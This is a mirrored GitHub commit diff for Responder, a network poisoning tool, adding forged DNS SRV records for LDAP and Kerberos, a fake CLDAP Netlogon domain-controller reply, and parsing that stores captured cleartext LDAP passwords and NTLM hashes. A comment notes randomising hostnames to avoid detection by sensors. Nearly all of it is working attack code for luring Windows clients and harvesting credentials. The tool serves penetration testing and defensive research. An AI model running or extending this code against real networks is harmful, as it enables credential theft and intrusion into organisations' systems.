mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-16 10:02:53 -07:00
Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping
This commit is contained in:
parent
d01bbaafae
commit
1271b8e179
5 changed files with 313 additions and 17 deletions
|
@ -307,8 +307,9 @@ def main():
|
|||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))
|
||||
|
||||
if settings.Config.LDAP_On_Off:
|
||||
from servers.LDAP import LDAP
|
||||
from servers.LDAP import LDAP, CLDAP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
|
||||
|
||||
if settings.Config.SMTP_On_Off:
|
||||
from servers.SMTP import ESMTP
|
||||
|
|
164
packets.py
164
packets.py
|
@ -18,6 +18,8 @@
|
|||
import struct
|
||||
import settings
|
||||
import codecs
|
||||
import random
|
||||
import re
|
||||
from os import urandom
|
||||
from base64 import b64decode, b64encode
|
||||
from odict import OrderedDict
|
||||
|
@ -38,6 +40,10 @@ class Packet():
|
|||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def GenerateCallbackName():
|
||||
return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
|
||||
|
||||
|
||||
# NBT Answer Packet
|
||||
class NBT_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
|
@ -65,7 +71,7 @@ class NBT_Ans(Packet):
|
|||
class DNS_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x80\x10"),
|
||||
("Flags", "\x85\x10"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
|
@ -88,6 +94,81 @@ class DNS_Ans(Packet):
|
|||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
class DNS_SRV_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x85\x80"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x01"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x21"),#srv
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerPointer", "\xc0\x0c"),
|
||||
("Type1", "\x00\x21"),#srv
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||
("RecordLen", ""),
|
||||
("Priority", "\x00\x00"),
|
||||
("Weight", "\x00\x64"),
|
||||
("Port", "\x00\x00"),
|
||||
("TargetLenPre", "\x0f"), # static, we provide netbios computer name 15 chars like Windows by default.
|
||||
("TargetPrefix", ""),
|
||||
("TargetLenSuff", ""),
|
||||
("TargetSuffix", ""),
|
||||
("TargetLenSuff2", ""),
|
||||
("TargetSuffix2", ""),
|
||||
("TargetNull", "\x00"),
|
||||
("AnswerAPointer", "\xc0"),
|
||||
("AnswerAPtrOffset", ""),
|
||||
("Type2", "\x00\x01"),#A record.
|
||||
("Class2", "\x00\x01"),
|
||||
("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
DNSName = ''.join(data[12:].split('\x00')[:1])
|
||||
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
|
||||
|
||||
#What's the question? we need it first to calc all other len.
|
||||
self.fields["QuestionName"] = DNSName
|
||||
|
||||
#Want to be detected that easily by xyz sensor?
|
||||
self.fields["TargetPrefix"] = "win-"+GenerateCallbackName()
|
||||
|
||||
#two last parts of the domain are the actual Domain name.. eg: contoso.com
|
||||
self.fields["TargetSuffix"] = SplitFQDN[-2]
|
||||
self.fields["TargetSuffix2"] = SplitFQDN[-1]
|
||||
#We calculate the len for that domain...
|
||||
self.fields["TargetLenSuff2"] = StructPython2or3(">B",self.fields["TargetSuffix2"])
|
||||
self.fields["TargetLenSuff"] = StructPython2or3(">B",self.fields["TargetSuffix"])
|
||||
|
||||
# Calculate Record len.
|
||||
CalcLen = self.fields["Priority"]+self.fields["Weight"]+self.fields["Port"]+self.fields["TargetLenPre"]+self.fields["TargetPrefix"]+self.fields["TargetLenSuff"]+self.fields["TargetSuffix"]+self.fields["TargetLenSuff2"]+self.fields["TargetSuffix2"]+self.fields["TargetNull"]
|
||||
|
||||
#Our answer len..
|
||||
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
|
||||
|
||||
#Where is Answer A Pointer...
|
||||
CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen
|
||||
self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4)
|
||||
|
||||
#for now we support ldap and kerberos...
|
||||
if "ldap" in DNSName:
|
||||
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
|
||||
|
||||
if "kerberos" in DNSName:
|
||||
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
|
||||
|
||||
#Last but not least... we provide our IP, so computers can enjoy our services.
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
# LLMNR Answer Packet
|
||||
class LLMNR_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
|
@ -782,6 +863,87 @@ class LDAPNTLMChallenge(Packet):
|
|||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
||||
##cldap
|
||||
class CLDAPNetlogon(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x9D"),
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x02"),
|
||||
("MessageIDASNStr", "\x00\xc4"),#First MsgID
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),
|
||||
("Status", "\x04"),
|
||||
("StatusASNLen", "\x00"),
|
||||
("StatusASNStr", ""),
|
||||
("SequenceHeader", "\x30"),
|
||||
("SequenceHeaderLenOfLen", "\x84"),
|
||||
("SequenceHeaderLen", "\x00\x00\x00\x8b"),
|
||||
#Netlogon packet starts here....
|
||||
("PartAttribHead", "\x30"),
|
||||
("PartAttribHeadLenofLen", "\x84"),
|
||||
("PartAttribHeadLen", "\x00\x00\x00\x85"),
|
||||
("NetlogonHead", "\x04"),
|
||||
("NetlogonLen", "\x08"),
|
||||
("NetlogonStr", "Netlogon"),
|
||||
("NetAttribHead", "\x31"),
|
||||
("NetAttribLenOfLen", "\x84"),
|
||||
("NetAttribLen", "\x00\x00\x00\x75"),
|
||||
("NetAttrib1Head", "\x04"),
|
||||
("NetAttrib1Len", "\x73"),
|
||||
("NTLogonOpcode", "\x17\x00"),#SamLogonRespEx opcode
|
||||
("NTLogonSbz", "\x00\x00"),
|
||||
("NTLogonFlags", "\xFD\xF3\x03\x00"),
|
||||
("NTLogonDomainGUID", "\x3E\xDE\x55\x61\xF0\x79\x8F\x44\x83\x10\x83\x63\x08\xD4\xBB\x26"),
|
||||
("NTLogonForestName", "\x04\x73\x6D\x62\x33\x05\x6C\x6F\x63\x61\x6C"),
|
||||
("NTLogonForestNameNull", "\x00"),
|
||||
("NTLogonDomainNamePtr", "\xc0"),
|
||||
("NTLogonDomainNamePtrOffset", "\x18"),
|
||||
("NTLogonPDCNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
|
||||
("NTLogonPDCNBTTLDPtr", "\xC0\x18"),
|
||||
("NTLogonDomainNameShort", "\x04\x53\x4D\x42\x33"),
|
||||
("NTLogonDomainNameShortNull", "\x00"),
|
||||
("NTLogonDomainNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
|
||||
("NTLogonDomainNBTNameNull", "\x00"),
|
||||
("NTLogonUsername", "\x00"),
|
||||
("DCSiteName", "\x17\x44\x65\x66\x61\x75\x6C\x74\x2D\x46\x69\x72\x73\x74\x2D\x53\x69\x74\x65\x2D\x4E\x61\x6D\x65\x00"),#static 95% PDC use this.
|
||||
("ClientSiteNamePtr", "\xc0"),
|
||||
("ClientSiteNamePtrOffset", "\x50"),
|
||||
("NTLogonVersion", "\x05\x00\x00\x00"),
|
||||
("LMNTToken", "\xff\xff"),
|
||||
("LM2Token", "\xff\xff"),#End netlogon.
|
||||
("CLDAPMessageIDHeader", "\x30\x84\x00\x00\x00\x11"),
|
||||
("CLDAPMessageIDInt", "\x02"),
|
||||
("CLDAPMessageIDlen", "\x02"),
|
||||
("CLDAPMessageIDStr", "\x00\xc4"),#Second MsgID
|
||||
("SearchDone", "\x65\x84\x00\x00\x00\x07"),
|
||||
("SearchDoneMatched", "\x0A\x01\x00\x04\x00\x04\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
###### LDAP Packet Len
|
||||
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
|
||||
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
|
||||
|
||||
###### Netlogon + Search Successfull Len
|
||||
CalculateNetlogonLen = str(self.fields["NTLogonOpcode"])+str(self.fields["NTLogonSbz"])+str(self.fields["NTLogonFlags"])+str(self.fields["NTLogonDomainGUID"])+str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])+str(self.fields["ClientSiteNamePtr"])+str(self.fields["ClientSiteNamePtrOffset"])+str(self.fields["NTLogonVersion"])+str(self.fields["LMNTToken"])+str(self.fields["LM2Token"]) #115 now.
|
||||
|
||||
|
||||
CalculateNetlogonOffset = str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])
|
||||
|
||||
##### LDAP ASN Len Calculation:
|
||||
self.fields["NetAttrib1Len"] = StructWithLenPython2or3(">B", len(CalculateNetlogonLen))
|
||||
self.fields["NetAttribLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+2)
|
||||
self.fields["PartAttribHeadLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+18)
|
||||
self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+24)
|
||||
self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+32)
|
||||
self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+42)
|
||||
######
|
||||
self.fields["ClientSiteNamePtrOffset"] = StructWithLenPython2or3(">B", len(CalculateNetlogonOffset)-1)
|
||||
|
||||
##### SMB Packets #####
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from packets import DNS_Ans
|
||||
from packets import DNS_Ans, DNS_SRV_Ans
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
|
@ -23,9 +23,11 @@ else:
|
|||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
|
||||
# If Type A, Class IN, then answer.
|
||||
return QueryTypeClass == "\x00\x01\x00\x01"
|
||||
if QueryTypeClass == "\x00\x01\x00\x01":
|
||||
return "A"
|
||||
if QueryTypeClass == "\x00\x21\x00\x01":
|
||||
return "SRV"
|
||||
|
||||
|
||||
|
||||
|
@ -37,12 +39,19 @@ class DNS(BaseRequestHandler):
|
|||
|
||||
try:
|
||||
data, soc = self.request
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False:
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
@ -56,12 +65,19 @@ class DNSTCP(BaseRequestHandler):
|
|||
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False:
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
|
131
servers/LDAP.py
131
servers/LDAP.py
|
@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)):
|
|||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
|
||||
from utils import *
|
||||
import struct
|
||||
import codecs
|
||||
import random
|
||||
|
||||
def GenerateNetbiosName():
|
||||
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
|
||||
|
||||
def CalculateDNSName(name):
|
||||
if isinstance(name, bytes):
|
||||
name = name.decode('latin-1')
|
||||
name = name.split(".")
|
||||
DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
|
||||
Dnslen = ''
|
||||
for x in name:
|
||||
if len(x) >=1:
|
||||
Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
|
||||
|
||||
return Dnslen, DomainPrefix
|
||||
|
||||
def ParseCLDAPNetlogon(data):
|
||||
#data = NetworkSendBufferPython2or3(data)
|
||||
try:
|
||||
Dns = data.find(b'DnsDomain')
|
||||
if Dns is -1:
|
||||
return False
|
||||
DnsName = data[Dns+9:]
|
||||
DnsGuidOff = data.find(b'DomainGuid')
|
||||
if DnsGuidOff is -1:
|
||||
return False
|
||||
Guid = data[DnsGuidOff+10:]
|
||||
if Dns:
|
||||
DomainLen = struct.unpack(">B", DnsName[1:2])[0]
|
||||
DomainName = DnsName[2:2+DomainLen]
|
||||
|
||||
if Guid:
|
||||
DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
|
||||
DomainGuid = Guid[2:2+DomainGuidLen]
|
||||
return DomainName, DomainGuid
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def ParseSearch(data):
|
||||
TID = data[8:9].decode('latin-1')
|
||||
if re.search(b'Netlogon', data):
|
||||
NbtName = GenerateNetbiosName()
|
||||
TID = NetworkRecvBufferPython2or3(data[8:10])
|
||||
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
|
||||
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
|
||||
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
|
||||
t.calculate()
|
||||
return str(t)
|
||||
|
||||
if re.search(b'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
|
||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
|
@ -92,6 +141,59 @@ def ParseNTLM(data,client, Challenge):
|
|||
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||
ParseLDAPHash(data, client, Challenge)
|
||||
|
||||
def ParseCLDAPPacket(data, client, Challenge):
|
||||
if data[1:2] == b'\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[10:11]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
if Operation == b'\x60':
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
||||
if AuthHeaderType == b'\x80':
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
'client': client,
|
||||
'user': UserDomain,
|
||||
'cleartext': Password,
|
||||
'fullhash': UserDomain+':'+Password,
|
||||
})
|
||||
|
||||
if sasl == b'\xA3':
|
||||
Buffer = ParseNTLM(data,client, Challenge)
|
||||
return Buffer
|
||||
|
||||
elif Operation == b'\x63':
|
||||
Buffer = ParseSearch(data)
|
||||
return Buffer
|
||||
|
||||
elif settings.Config.Verbose:
|
||||
print(text('[LDAP] Operation not supported'))
|
||||
|
||||
if data[5:6] == b'\x60':
|
||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||
UserString = data[12:12+UserLen].decode('latin-1')
|
||||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
'client': client,
|
||||
'user': UserString,
|
||||
'cleartext': PassStr,
|
||||
'fullhash': UserString+':'+PassStr,
|
||||
})
|
||||
|
||||
|
||||
def ParseLDAPPacket(data, client, Challenge):
|
||||
if data[1:2] == b'\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
|
@ -100,8 +202,9 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
||||
if Operation == b'\x60':
|
||||
if Operation == b'\x60':#Bind
|
||||
if "ldap" in data:# No Kerberos
|
||||
return False
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
@ -148,7 +251,7 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
class LDAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.4)
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(5):
|
||||
|
@ -159,3 +262,17 @@ class LDAP(BaseRequestHandler):
|
|||
except:
|
||||
pass
|
||||
|
||||
|
||||
class CLDAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(1):
|
||||
Buffer = ParseCLDAPPacket(data,self.client_address[0], Challenge)
|
||||
if Buffer:
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||
data, soc = self.request
|
||||
except:
|
||||
pass
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@ import subprocess
|
|||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.0.3.0'
|
||||
__version__ = 'Responder 3.0.4.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue